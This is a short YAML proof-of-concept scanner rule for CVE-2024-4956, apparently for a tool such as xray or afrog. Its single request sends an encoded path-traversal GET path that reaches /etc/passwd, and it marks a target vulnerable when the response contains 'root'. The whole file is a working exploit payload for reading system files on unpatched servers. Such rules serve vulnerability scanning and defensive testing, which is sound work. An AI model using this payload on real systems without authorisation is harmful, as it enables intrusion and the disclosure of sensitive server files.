CVE-2024-4956.yaml

name: poc-yaml-cve-2024-4956
transport: http
rules:
  r0:
    request:
      method: GET
      path: /%2f.%2f/..%2f/..%2f/..%2f/..%2f/..%2f/..%2f/etc/passwd
      follow_redirects: false
      headers:
        User-Agent: >-
          Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
          like Gecko) Chrome/83.0.4103.116 Safari/537.36
    expression: response.status == 200 && response.body_string.contains("root")
expression: r0()
detail:
  author: flower
  links: []